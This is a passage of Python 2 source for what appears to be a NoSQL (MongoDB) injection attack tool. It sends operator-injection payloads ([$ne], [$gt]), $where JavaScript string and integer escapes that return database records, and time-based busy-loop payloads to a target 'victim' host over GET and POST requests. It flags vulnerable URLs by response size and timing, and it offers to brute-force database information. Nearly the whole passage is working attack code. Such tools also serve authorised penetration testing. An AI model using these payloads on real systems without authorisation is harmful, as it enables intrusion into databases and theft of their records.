51 | ["--doTimeAttack", "Start timing based tests (y/n)"],
52 | ["--savePath", "output file name"]]
53 |
54 | def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None):
55 | print "Web App Attacks (GET)"
56 | print "==============="
57 | paramName = []
58 | global testNum
59 | global httpMethod
60 | httpMethod = "GET"
61 | testNum = 1
62 | paramValue = []
63 | global vulnAddrs
64 | vulnAddrs = []
65 | global possAddrs
66 | possAddrs = []
67 | timeVulnsStr = []
68 | timeVulnsInt = []
69 | appUp = False
70 | strTbAttack = False
71 | intTbAttack = False
72 | trueStr = False
73 | trueInt = False
74 | global lt24
75 | lt24 = False
76 | global str24
77 | str24 = False
78 | global int24
79 | int24 = False
80 |
81 | # Verify app is working.
82 | print "Checking to see if site at " + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() + " is up..."
83 |
84 | if https == "OFF":
85 | appURL = "http://" + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip()
86 |
87 | elif https == "ON":
88 | appURL = "https://" + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip()
89 | try:
90 | req = urllib2.Request(appURL, None, requestHeaders)
91 | appRespCode = urllib2.urlopen(req).getcode()
92 | if appRespCode == 200:
93 | normLength = int(len(getResponseBodyHandlingErrors(req)))
94 | timeReq = urllib2.urlopen(req)
95 | start = time.time()
96 | page = timeReq.read()
97 | end = time.time()
98 | timeReq.close()
99 | timeBase = round((end - start), 3)
100 |
101 | if verb == "ON":
102 | print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
103 | else:
104 | print "App is up!"
105 | appUp = True
106 |
107 | else:
108 | print "Got " + str(appRespCode) + "from the app, check your options."
109 | except Exception,e:
110 | print e
111 | print "Looks like the server didn't respond. Check your options."
112 |
113 | if appUp == True:
114 |
115 | if args == None:
116 | sizeSelect = True
117 |
118 | while sizeSelect:
119 | injectSize = raw_input("Baseline test-Enter random string size: ")
120 | sizeSelect = not injectSize.isdigit()
121 | if sizeSelect:
122 | print "Invalid! The size should be an integer."
123 |
124 | format = randInjString(int(injectSize))
125 | else:
126 | injectSize = int(args.injectSize)
127 | format = args.injectFormat
128 |
129 | injectSize = int(injectSize)
130 | injectString = build_random_string(format, injectSize)
131 |
132 | print "Using " + injectString + " for injection testing.\n"
133 |
134 | # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
135 | if "?" not in appURL:
136 | print "No URI parameters provided for GET request...Check your options.\n"
137 | if args == None:
138 | raw_input("Press enter to continue...")
139 | return()
140 |
141 | randomUri = buildUri(appURL,injectString, args)
142 | print "URI : " + randomUri
143 | req = urllib2.Request(randomUri, None, requestHeaders)
144 |
145 | if verb == "ON":
146 | print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
147 | else:
148 | print "Sending random parameter value..."
149 |
150 | responseBody = getResponseBodyHandlingErrors(req)
151 | randLength = int(len(responseBody))
152 |
153 | print "Got response length of " + str(randLength) + "."
154 | randNormDelta = abs(normLength - randLength)
155 |
156 | if randNormDelta == 0:
157 | print "No change in response size injecting a random parameter..\n"
158 | else:
159 | print "Random value variance: " + str(randNormDelta) + "\n"
160 |
161 | if verb == "ON":
162 | print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..."
163 | else:
164 | print "Test 1: PHP/ExpressJS != associative array injection"
165 |
166 | # Test for errors returned by injection
167 | req = urllib2.Request(uriArray[1], None, requestHeaders)
168 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
169 |
170 | if errorCheck == False:
171 | injLen = int(len(getResponseBodyHandlingErrors(req)))
172 | checkResult(randLength,injLen,testNum,verb,None)
173 | testNum += 1
174 | else:
175 | testNum += 1
176 |
177 | print "\n"
178 | if verb == "ON":
179 | print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
180 | print "Injecting " + uriArray[2]
181 | else:
182 | print "Test 2: $where injection (string escape)"
183 |
184 | print uriArray[2]
185 | req = urllib2.Request(uriArray[2], None, requestHeaders)
186 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
187 |
188 |
189 | if errorCheck == False:
190 | injLen = int(len(getResponseBodyHandlingErrors(req)))
191 | checkResult(randLength,injLen,testNum,verb,None)
192 | testNum += 1
193 |
194 | else:
195 | testNum += 1
196 |
197 | print "\n"
198 | if verb == "ON":
199 | print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
200 | print "Injecting " + uriArray[3]
201 | else:
202 | print "Test 3: $where injection (integer escape)"
203 |
204 | req = urllib2.Request(uriArray[3], None, requestHeaders)
205 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
206 |
207 |
208 | if errorCheck == False:
209 | injLen = int(len(getResponseBodyHandlingErrors(req)))
210 | checkResult(randLength,injLen,testNum,verb,None)
211 | testNum +=1
212 |
213 | else:
214 | testNum +=1
215 |
216 | # Start a single record attack in case the app expects only one record back
217 | print "\n"
218 | if verb == "ON":
219 | print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
220 | print " Injecting " + uriArray[4]
221 | else:
222 | print "Test 4: $where injection string escape (single record)"
223 |
224 | req = urllib2.Request(uriArray[4], None, requestHeaders)
225 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
226 |
227 | if errorCheck == False:
228 | injLen = int(len(getResponseBodyHandlingErrors(req)))
229 | checkResult(randLength,injLen,testNum,verb,None)
230 | testNum += 1
231 | else:
232 | testNum += 1
233 |
234 | print "\n"
235 | if verb == "ON":
236 | print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
237 | print " Injecting " + uriArray[5]
238 | else:
239 | print "Test 5: $where injection integer escape (single record)"
240 |
241 | req = urllib2.Request(uriArray[5], None, requestHeaders)
242 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
243 |
244 | if errorCheck == False:
245 | injLen = int(len(getResponseBodyHandlingErrors(req)))
246 | checkResult(randLength,injLen,testNum,verb,None)
247 | testNum +=1
248 |
249 | else:
250 | testNum += 1
251 |
252 | print "\n"
253 | if verb == "ON":
254 | print "Testing Mongo this not equals string escape attack for all records..."
255 | print " Injecting " + uriArray[6]
256 | else:
257 | print "Test 6: This != injection (string escape)"
258 |
259 | req = urllib2.Request(uriArray[6], None, requestHeaders)
260 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
261 |
262 | if errorCheck == False:
263 | injLen = int(len(getResponseBodyHandlingErrors(req)))
264 | checkResult(randLength,injLen,testNum,verb,None)
265 | testNum += 1
266 | else:
267 | testNum += 1
268 |
269 | print "\n"
270 | if verb == "ON":
271 | print "Testing Mongo this not equals integer escape attack for all records..."
272 | print " Injecting " + uriArray[7]
273 | else:
274 | print "Test 7: This != injection (integer escape)"
275 |
276 | req = urllib2.Request(uriArray[7], None, requestHeaders)
277 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
278 |
279 | if errorCheck == False:
280 | injLen = int(len(getResponseBodyHandlingErrors(req)))
281 | checkResult(randLength,injLen,testNum,verb,None)
282 | testNum += 1
283 | else:
284 | testNum += 1
285 | print "\n"
286 |
287 | if verb == "ON":
288 | print "Testing PHP/ExpressJS > undefined attack for all records..."
289 | print "Injecting " + uriArray[8]
290 |
291 | else:
292 | print "Test 8: PHP/ExpressJS > Undefined Injection"
293 |
294 | req = urllib2.Request(uriArray[8], None, requestHeaders)
295 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
296 |
297 | if errorCheck == False:
298 | injLen = int(len(getResponseBodyHandlingErrors(req)))
299 | checkResult(randLength,injLen,testNum,verb,None)
300 | testNum += 1
301 |
302 | if args == None:
303 | doTimeAttack = raw_input("Start timing based tests (y/n)? ")
304 | else:
305 | doTimeAttack = args.doTimeAttack
306 |
307 | if doTimeAttack.lower() == "y":
308 | print "Starting Javascript string escape time based injection..."
309 | req = urllib2.Request(uriArray[18], None, requestHeaders)
310 | start = time.time()
311 | page = getResponseBodyHandlingErrors(req)
312 | end = time.time()
313 | #print str(end)
314 | #print str(start)
315 | strTimeDelta = (int(round((end - start), 3)) - timeBase)
316 | #print str(strTimeDelta)
317 | if strTimeDelta > 25:
318 | print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
319 | strTbAttack = True
320 |
321 | else:
322 | print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work."
323 | strTbAttack = False
324 |
325 | print "Starting Javascript integer escape time based injection..."
326 | req = urllib2.Request(uriArray[9], None, requestHeaders)
327 | start = time.time()
328 | page = getResponseBodyHandlingErrors(req)
329 | end = time.time()
330 | #print str(end)
331 | #print str(start)
332 | intTimeDelta = (int(round((end - start), 3)) - timeBase)
333 | #print str(strTimeDelta)
334 | if intTimeDelta > 25:
335 | print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
336 | intTbAttack = True
337 |
338 | else:
339 | print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work."
340 | intTbAttack = False
341 |
342 | if lt24 == True:
343 | bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ")
344 |
345 | if bfInfo.lower == "y":
346 | getDBInfo()
347 |
348 |
349 | print "\n"
350 | print "Vulnerable URLs:"
351 | print "\n".join(vulnAddrs)
352 | print "\n"
353 | print "Possibly vulnerable URLs:"
354 | print"\n".join(possAddrs)
355 | print "\n"
356 | print "Timing based attacks:"
357 |
358 | if strTbAttack == True:
359 | print "String attack-Successful"
360 | else:
361 | print "String attack-Unsuccessful"
362 | if intTbAttack == True:
363 | print "Integer attack-Successful"
364 | else:
365 | print "Integer attack-Unsuccessful"
366 |
367 | if args == None:
368 | fileOut = raw_input("Save results to file (y/n)? ")
369 | else:
370 | fileOut = "y" if args.savePath else "n"
371 |
372 | if fileOut.lower() == "y":
373 | if args == None:
374 | savePath = raw_input("Enter output file name: ")
375 | else:
376 | savePath = args.savePath
377 | save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack)
378 |
379 | if args == None:
380 | raw_input("Press enter to continue...")
381 | return()
382 |
383 |
384 | def getResponseBodyHandlingErrors(req):
385 | try:
386 | responseBody = urllib2.urlopen(req).read()
387 | except urllib2.HTTPError, err:
388 | responseBody = err.read()
389 |
390 | return responseBody
391 |
392 |
393 | def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None):
394 | print "Web App Attacks (POST)"
395 | print "==============="
396 | paramName = []
397 | paramValue = []
398 | global vulnAddrs
399 | global httpMethod
400 | httpMethod = "POST"
401 | vulnAddrs = []
402 | global possAddrs
403 | possAddrs = []
404 | timeVulnsStr = []
405 | timeVulnsInt = []
406 | appUp = False
407 | strTbAttack = False
408 | intTbAttack = False
409 | trueStr = False
410 | trueInt = False
411 | global neDict
412 | global gtDict
413 | testNum = 1
414 |
415 | # Verify app is working.
416 | print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
417 |
418 | if https == "OFF":
419 | appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
420 |
421 | elif https == "ON":
422 | appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri)
423 |
424 | try:
425 | body = urllib.urlencode(postData)
426 | req = urllib2.Request(appURL,body, requestHeaders)
427 | appRespCode = urllib2.urlopen(req).getcode()
428 |
429 | if appRespCode == 200:
430 |
431 | normLength = int(len(getResponseBodyHandlingErrors(req)))
432 | timeReq = urllib2.urlopen(req)
433 | start = time.time()
434 | page = timeReq.read()
435 | end = time.time()
436 | timeReq.close()
437 | timeBase = round((end - start), 3)
438 |
439 | if verb == "ON":
440 | print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
441 |
442 | else:
443 | print "App is up!"
444 | appUp = True
445 | else:
446 | print "Got " + str(appRespCode) + "from the app, check your options."
447 |
448 | except Exception,e:
449 | print e
450 | print "Looks like the server didn't respond. Check your options."
451 |
452 | if appUp == True:
453 |
454 | menuItem = 1
455 | print "List of parameters:"
456 | for params in postData.keys():
457 | print str(menuItem) + "-" + params
458 | menuItem += 1
459 |
460 | try:
461 | if args == None:
462 | injIndex = raw_input("Which parameter should we inject? ")
463 | else:
464 | injIndex = int(args.injectedParameter)
465 | injOpt = str(postData.keys()[int(injIndex)-1])
466 | print "Injecting the " + injOpt + " parameter..."
467 | except:
468 | if args == None:
469 | raw_input("Something went wrong. Press enter to return to the main menu...")
470 | return
471 |
472 | if args == None:
473 | sizeSelect = True
474 |
475 | while sizeSelect:
476 | injectSize = raw_input("Baseline test-Enter random string size: ")
477 | sizeSelect = not injectSize.isdigit()
478 | if sizeSelect:
479 | print "Invalid! The size should be an integer."
480 |
481 | format = randInjString(int(injectSize))
482 | else:
483 | injectSize = int(args.injectSize)
484 | format = args.injectFormat
485 |
486 | injectSize = int(injectSize)
487 | injectString = build_random_string(format, injectSize)
488 |
489 | print "Using " + injectString + " for injection testing.\n"
490 |
491 | # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
492 | # Add error handling for Non-200 HTTP response codes if random strings freak out the app.
493 | postData.update({injOpt:injectString})
494 | if verb == "ON":
495 | print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n"
496 | else:
497 | print "Sending random parameter value..."
498 |
499 | body = urllib.urlencode(postData)
500 | req = urllib2.Request(appURL,body, requestHeaders)
501 | randLength = int(len(getResponseBodyHandlingErrors(req)))
502 | print "Got response length of " + str(randLength) + "."
503 |
504 | randNormDelta = abs(normLength - randLength)
505 |
506 | if randNormDelta == 0:
507 | print "No change in response size injecting a random parameter..\n"
508 | else:
509 | print "Random value variance: " + str(randNormDelta) + "\n"
510 |
511 | # Generate not equals injection
512 | neDict = postData
513 | neDict[injOpt + "[$ne]"] = neDict[injOpt]
514 | del neDict[injOpt]
515 | body = urllib.urlencode(neDict)
516 | req = urllib2.Request(appURL,body, requestHeaders)
517 | if verb == "ON":
518 | print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..."
519 |
520 | else:
521 | print "Test 1: PHP/ExpressJS != associative array injection"
522 |
523 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
524 |
525 | if errorCheck == False:
526 | injLen = int(len(getResponseBodyHandlingErrors(req)))
527 | checkResult(randLength,injLen,testNum,verb,postData)
528 | testNum += 1
529 |
530 | else:
531 | testNum +=1
532 | print "\n"
533 |
534 | # Delete the extra key
535 | del postData[injOpt + "[$ne]"]
536 |
537 | # generate $gt injection
538 | gtDict = postData
539 | gtDict.update({injOpt:""})
540 | gtDict[injOpt + "[$gt]"] = gtDict[injOpt]
541 | del gtDict[injOpt]
542 | body = urllib.urlencode(gtDict)
543 | req = urllib2.Request(appURL,body, requestHeaders)
544 | if verb == "ON":
545 | print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..."
546 |
547 | else:
548 | print "Test 2: PHP/ExpressJS > Undefined Injection"
549 |
550 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
551 |
552 | if errorCheck == False:
553 | injLen = int(len(getResponseBodyHandlingErrors(req)))
554 | checkResult(randLength,injLen,testNum,verb,postData)
555 | testNum += 1
556 |
557 | postData.update({injOpt:"a'; return db.a.find(); var dummy='!"})
558 | body = urllib.urlencode(postData)
559 | req = urllib2.Request(appURL,body, requestHeaders)
560 | if verb == "ON":
561 | print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
562 | print "Injecting " + str(postData)
563 |
564 | else:
565 | print "Test 3: $where injection (string escape)"
566 |
567 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
568 |
569 | if errorCheck == False:
570 | injLen = int(len(getResponseBodyHandlingErrors(req)))
571 | checkResult(randLength,injLen,testNum,verb,postData)
572 | testNum += 1
573 | else:
574 | testNum += 1
575 |
576 | print "\n"
577 |
578 | postData.update({injOpt:"1; return db.a.find(); var dummy=1"})
579 | body = urllib.urlencode(postData)
580 | req = urllib2.Request(appURL,body, requestHeaders)
581 | if verb == "ON":
582 | print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
583 | print "Injecting " + str(postData)
584 | else:
585 | print "Test 4: $where injection (integer escape)"
586 |
587 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
588 |
589 | if errorCheck == False:
590 | injLen = int(len(getResponseBodyHandlingErrors(req)))
591 | checkResult(randLength,injLen,testNum,verb,postData)
592 | testNum += 1
593 | else:
594 | testNum += 1
595 | print "\n"
596 |
597 | # Start a single record attack in case the app expects only one record back
598 | postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"})
599 | body = urllib.urlencode(postData)
600 | req = urllib2.Request(appURL,body, requestHeaders)
601 | if verb == "ON":
602 | print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
603 | print " Injecting " + str(postData)
604 |
605 | else:
606 | print "Test 5: $where injection string escape (single record)"
607 |
608 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
609 |
610 | if errorCheck == False:
611 | injLen = int(len(getResponseBodyHandlingErrors(req)))
612 | checkResult(randLength,injLen,testNum,verb,postData)
613 | testNum += 1
614 |
615 | else:
616 | testNum += 1
617 | print "\n"
618 |
619 | postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"})
620 | body = urllib.urlencode(postData)
621 | req = urllib2.Request(appURL,body, requestHeaders)
622 | if verb == "ON":
623 | print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
624 | print " Injecting " + str(postData)
625 |
626 | else:
627 | print "Test 6: $where injection integer escape (single record)"
628 |
629 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
630 |
631 | if errorCheck == False:
632 | injLen = int(len(getResponseBodyHandlingErrors(req)))
633 | checkResult(randLength,injLen,testNum,verb,postData)
634 | testNum += 1
635 |
636 | else:
637 | testNum += 1
638 | print "\n"
639 |
640 | postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"})
641 | body = urllib.urlencode(postData)
642 | req = urllib2.Request(appURL,body, requestHeaders)
643 |
644 | if verb == "ON":
645 | print "Testing Mongo this not equals string escape attack for all records..."
646 | print " Injecting " + str(postData)
647 |
648 | else:
649 | print "Test 7: This != injection (string escape)"
650 |
651 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
652 |
653 | if errorCheck == False:
654 | injLen = int(len(getResponseBodyHandlingErrors(req)))
655 | checkResult(randLength,injLen,testNum,verb,postData)
656 | testNum += 1
657 | print "\n"
658 | else:
659 | testNum += 1
660 |
661 | postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"})
662 | body = urllib.urlencode(postData)
663 | req = urllib2.Request(appURL,body, requestHeaders)
664 |
665 | if verb == "ON":
666 | print "Testing Mongo this not equals integer escape attack for all records..."
667 | print " Injecting " + str(postData)
668 | else:
669 | print "Test 8: This != injection (integer escape)"
670 |
671 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
672 |
673 | if errorCheck == False:
674 | injLen = int(len(getResponseBodyHandlingErrors(req)))
675 | checkResult(randLength,injLen,testNum,verb,postData)
676 | testNum += 1
677 |
678 | else:
679 | testNum += 1
680 | print "\n"
681 |
682 | doTimeAttack = "N"
683 | if args == None:
684 | doTimeAttack = raw_input("Start timing based tests (y/n)? ")
685 |
686 | if doTimeAttack == "y" or doTimeAttack == "Y":
687 | print "Starting Javascript string escape time based injection..."
688 | postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"})
689 | body = urllib.urlencode(postData)
690 | conn = urllib2.urlopen(req,body)
691 | start = time.time()
692 | page = conn.read()
693 | end = time.time()
694 | conn.close()
695 | print str(end)
696 | print str(start)
697 | strTimeDelta = (int(round((end - start), 3)) - timeBase)
698 | #print str(strTimeDelta)
699 | if strTimeDelta > 25:
700 | print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
701 | strTbAttack = True
702 |
703 | else:
704 | print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work."
705 | strTbAttack = False
706 |
707 | print "Starting Javascript integer escape time based injection..."
708 |
709 | postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
710 | body = urllib.urlencode(postData)
711 | start = time.time()
712 | conn = urllib2.urlopen(req,body)
713 | page = conn.read()
714 | end = time.time()
715 | conn.close()
716 | print str(end)
717 | print str(start)
718 | intTimeDelta = ((end-start) - timeBase)
719 | #print str(strTimeDelta)
720 | if intTimeDelta > 25:
721 | print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
722 | intTbAttack = True
723 |
724 | else:
725 | print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work."
726 | intTbAttack = False
727 |
728 | print "\n"
729 | print "Exploitable requests:"
730 | print "\n".join(vulnAddrs)
731 | print "\n"
732 | print "Possibly vulnerable requests:"
733 | print"\n".join(possAddrs)
734 | print "\n"
735 | print "Timing based attacks:"
736 |
737 | if strTbAttack == True:
738 | print "String attack-Successful"
739 | else:
740 | print "String attack-Unsuccessful"
741 | if intTbAttack == True:
742 | print "Integer attack-Successful"
743 | else:
744 | print "Integer attack-Unsuccessful"
745 |
746 | if args == None:
747 | fileOut = raw_input("Save results to file (y/n)? ")
748 | else:
749 | fileOut = "y" if args.savePath else "n"
750 |
751 | if fileOut.lower() == "y":
752 | if args == None:
753 | savePath = raw_input("Enter output file name: ")
754 | else:
755 | savePath = args.savePath
756 | save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack)
757 | if args == None:
758 | raw_input("Press enter to continue...")
759 | return()
760 |
761 |
762 | def errorTest (errorCheck,testNum):
763 | global possAddrs
764 | global httpMethod
765 | global neDict
766 | global gtDict
767 | global postData
768 |
769 | if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1:
770 | print "Injection returned a MongoDB Error. Injection may be possible."
771 |
772 | if httpMethod == "GET":
773 | possAddrs.append(uriArray[testNum])
774 | return True
775 |
776 | else:
777 | if testNum == 1:
778 | possAddrs.append(str(neDict))
779 | return True
780 |
781 | elif testNum == 2:
782 | possAddrs.append(str(gtDict))
783 | return True
784 |
785 | else:
786 | possAddrs.append(str(postData))
787 | return True
788 | else:
789 | return False
790 |
791 |
792 |
793 | def checkResult(baseSize,respSize,testNum,verb,postData):
794 | global vulnAddrs
795 | global possAddrs
796 | global lt24
797 | global str24
798 | global int24
799 | global httpMethod
800 | global neDict
801 | global gtDict
802 |
803 |
804 | delta = abs(respSize - baseSize)
805 | if (delta >= 100) and (respSize != 0) :
806 | if verb == "ON":
807 | print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!"
808 | else:
809 | print "Successful injection!"
810 |
811 | if httpMethod == "GET":
812 | vulnAddrs.append(uriArray[testNum])
813 | else:
814 | if testNum == 1:
815 | vulnAddrs.append(str(neDict))
816 |
817 | elif testNum == 2:
818 | vulnAddrs.append(str(gtDict))
819 | else:
820 | vulnAddrs.append(str(postData))
821 |
822 | if testNum == 3 or testNum == 5:
823 | lt24 = True
824 | str24 = True
825 |
826 | elif testNum == 4 or testNum == 6:
827 | lt24 = True
828 | int24 = True
829 | return
830 |
831 | elif (delta > 0) and (delta < 100) and (respSize != 0) :
832 | if verb == "ON":
833 | print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. "
834 | else:
835 | print "Possible injection."
836 |
837 | if httpMethod == "GET":
838 | possAddrs.append(uriArray[testNum])
839 | else:
840 | if testNum == 1:
841 | possAddrs.append(str(neDict))
842 | else:
843 | possAddrs.append(str(postData))
844 | return
845 |
846 | elif (delta == 0):
847 | if verb == "ON":
848 | print "Random string response size and not equals injection were the same. Injection did not work."
849 | else:
850 | print "Injection failed."
851 | return
852 |
853 | else:
854 | if verb == "ON":
855 | print "Injected response was smaller than random response. Injection may have worked but requires verification."
856 | else:
857 | print "Possible injection."
858 | if httpMethod == "GET":
859 | possAddrs.append(uriArray[testNum])
860 | else:
861 | if testNum == 1:
862 | possAddrs.append(str(neDict))
863 | else:
864 | possAddrs.append(str(postData))
865 | return
866 |
867 |
868 | def randInjString(size):
869 | print "What format should the random string take?"
870 | print "1-Alphanumeric"
871 | print "2-Letters only"
872 | print "3-Numbers only"
873 | print "4-Email address"
874 |
875 | while True:
876 | format = raw_input("Select an option: ")
877 | if format not in ["1", "2", "3", "4"]:
878 | print "Invalid selection."
879 | else:
880 | break
881 | return format
882 |
883 | def build_random_string(format, size):
884 | if format == "1":
885 | chars = string.ascii_letters + string.digits
886 | return ''.join(random.choice(chars) for x in range(size))
887 |
888 | elif format == "2":
889 | chars = string.ascii_letters
890 | return ''.join(random.choice(chars) for x in range(size))
891 |
892 | elif format == "3":
893 | chars = string.digits
894 | return ''.join(random.choice(chars) for x in range(size))
895 |
896 | else: # format == "4":
897 | chars = string.ascii_letters + string.digits
898 | return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com'
899 |
900 | def buildUri(origUri, randValue, args=None):
901 | paramName = []
902 | paramValue = []
903 | global uriArray
904 | uriArray = ["","","","","","","","","","","","","","","","","","",""]
905 | injOpt = []
906 |
907 | #Split the string between the path and parameters, and then split each parameter
908 | try:
909 | split_uri = origUri.split("?")
910 | params = split_uri[1].split("&")
911 |
912 | except:
913 | raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...")
914 | return
915 |
916 | for item in params:
917 | index = item.find("=")
918 | paramName.append(item[0:index])
919 | paramValue.append(item[index + 1:len(item)])
920 |
921 | menuItem = 1
922 | print "List of parameters:"
923 | for params in paramName:
924 | print str(menuItem) + "-" + params
925 | menuItem += 1
926 |
927 | try:
928 | if args == None:
929 | injIndex = raw_input("Enter parameters to inject in a comma separated list: ")
930 | else:
931 | injIndex = args.params
932 |
933 | for params in injIndex.split(","):
934 | injOpt.append(paramName[int(params)-1])
935 |
936 | #injOpt = str(paramName[int(injIndex)-1])
937 |
938 | for params in injOpt:
939 | print "Injecting the " + params + " parameter..."
940 |
941 | except Exception:
942 | raw_input("Something went wrong. Press enter to return to the main menu...")
943 | return
944 |
945 | x = 0
946 |
947 |
948 | for item in paramName:
949 |
950 | if paramName[x] in injOpt:
951 | uriArray[0] += paramName[x] + "=" + randValue + "&"
952 | uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&"
953 | uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
954 | uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
955 | uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
956 | uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&"
957 | uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
958 | uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
959 | uriArray[8] += paramName[x] + "[$gt]=&"
960 | uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
961 | uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&"
962 | uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&"
963 | uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&"
964 | uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&"
965 | uriArray[14] += paramName[x] + "a'; return true; var dum='a"
966 | uriArray[15] += paramName[x] + "1; return true; var dum=2"
967 | #Add values that can be manipulated for database attacks
968 | uriArray[16] += paramName[x] + "=a\'; ---"
969 | uriArray[17] += paramName[x] + "=1; if ---"
970 | uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
971 |
972 | else:
973 | uriArray[0] += paramName[x] + "=" + paramValue[x] + "&"
974 | uriArray[1] += paramName[x] + "=" + paramValue[x] + "&"
975 | uriArray[2] += paramName[x] + "=" + paramValue[x] + "&"
976 | uriArray[3] += paramName[x] + "=" + paramValue[x] + "&"
977 | uriArray[4] += paramName[x] + "=" + paramValue[x] + "&"
978 | uriArray[5] += paramName[x] + "=" + paramValue[x] + "&"
979 | uriArray[6] += paramName[x] + "=" + paramValue[x] + "&"
980 | uriArray[7] += paramName[x] + "=" + paramValue[x] + "&"
981 | uriArray[8] += paramName[x] + "=" + paramValue[x] + "&"
982 | uriArray[9] += paramName[x] + "=" + paramValue[x] + "&"
983 | uriArray[10] += paramName[x] + "=" + paramValue[x] + "&"
984 | uriArray[11] += paramName[x] + "=" + paramValue[x] + "&"
985 | uriArray[12] += paramName[x] + "=" + paramValue[x] + "&"
986 | uriArray[13] += paramName[x] + "=" + paramValue[x] + "&"
987 | uriArray[14] += paramName[x] + "=" + paramValue[x] + "&"
988 | uriArray[15] += paramName[x] + "=" + paramValue[x] + "&"
989 | uriArray[16] += paramName[x] + "=" + paramValue[x] + "&"
990 | uriArray[17] += paramName[x] + "=" + paramValue[x] + "&"
991 | uriArray[18] += paramName[x] + "=" + paramValue[x] + "&"
992 | x += 1
993 |
994 | #Clip the extra & off the end of the URL
995 | x = 0
996 | while x <= 18:
997 | # uriArray[x]= uriArray[x][:-1]
